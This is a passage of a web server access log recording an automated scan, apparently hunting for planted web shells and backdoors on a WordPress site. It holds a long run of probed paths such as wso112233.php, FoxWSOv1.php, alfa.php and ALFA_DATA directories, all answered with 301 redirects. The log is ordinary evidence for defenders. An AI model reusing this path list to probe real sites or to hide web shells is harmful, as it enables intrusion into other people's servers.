Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /land.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:44 -0400] "GET /update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:44 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /hobi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:19:44 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:44 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /pgs.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /wp-content/plugins/Core-Econ/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:44 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:44 -0400] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:45 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /x7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:45 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:45 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /wp-content/themes/tflow/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:45 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /wp-admin/network/abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:45 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /wordpress/wp-content/uploads/_input_3_css.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:45 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:45 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /.well-known/bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:19:45 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:45 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:45 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /Patrick.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:46 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /wp-includes/images/file1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:46 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:46 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:46 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:46 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:46 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:46 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:46 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:46 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:47 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:47 -0400] "GET /black2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:47 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:47 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:47 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:47 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:47 -0400] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:47 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:47 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:47 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:47 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:47 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:47 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:47 -0400] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:47 -0400] "GET /wp-includes/css/dist/wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:47 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:47 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:47 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:47 -0400] "GET /jkaeeehs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:47 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:47 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:47 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:48 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:48 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:48 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:48 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:48 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:48 -0400] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:48 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:48 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:48 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:48 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:48 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:48 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:48 -0400] "GET /wp-ldd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:48 -0400] "GET /wpupp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:48 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:48 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:48 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:48 -0400] "GET /wp-admin/includes/manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:48 -0400] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:48 -0400] "GET /upmdxpcz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:49 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:19:49 -0400] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:49 -0400] "GET /ova.php 